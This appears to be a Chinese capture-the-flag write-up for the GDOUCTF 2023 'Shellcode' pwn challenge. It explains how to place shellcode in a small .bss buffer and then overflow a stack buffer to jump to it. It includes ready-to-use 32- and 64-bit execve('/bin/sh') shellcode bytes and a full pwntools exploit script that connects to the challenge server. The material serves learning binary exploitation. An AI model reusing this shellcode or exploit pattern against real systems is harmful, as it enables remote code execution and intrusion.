0%

Shellcode

2025-02-23 20:00By
Xihcly
shellcoderet2shellcode栈溢出

Problem: [GDOUCTF 2023]Shellcode

思路

  • 解题大致思路

EXP

1、首先是检查机制

NSSIMAGE

2、打开IDA看看主函数

NSSIMAGE然后这里有两个read,分别先打开看看,

1)首先是这个name
NSSIMAGEname 位于bss段,所以我们就想到了可以在read(name)这边写入我们的shellcode。但
是,这里,在主函数中我们可以看到这里对于读入的字节数进行了限制,最大读入数是 25
字节。而我们使用shellcraft默认生成的字节数是44字节的,显然不符合我们的要求。
然后随便找一个小于25字节的shellcode

【顺便积累一下常见的短字节shellcode:
32 位 短字节shellcode -> 21字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64 位 较短的shellcode 23字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05】

2)然后寻找我们可以进行栈溢出的地方
就是下面我们的那个buf
NSSIMAGE

在这里进行栈溢出。

这里简单解释一下,buf不可直接读写,所以需要我们先进行shellcode,然后再进行栈溢出。
简而言之,第二个read才是溢出点,但是我们需要第一个read进行注入。

3、开始书写exp:

from pwn import * context(os='linux', arch='amd64', log_level='debug') io = remote("node4.anna.nssctf.cn",28411) gift = 0x6010A0 shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" #64 位 较短的shellcode 23字节 io.sendlineafter("Please.",shellcode) payload = b'a' *0x12 + p64(gift) io.sendlineafter("Let's start!",payload) io.interactive()

总结

本文章借鉴[GDOUCTF 2023]Shellcode stribik的WriteUp,如有侵权私聊我删除。

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论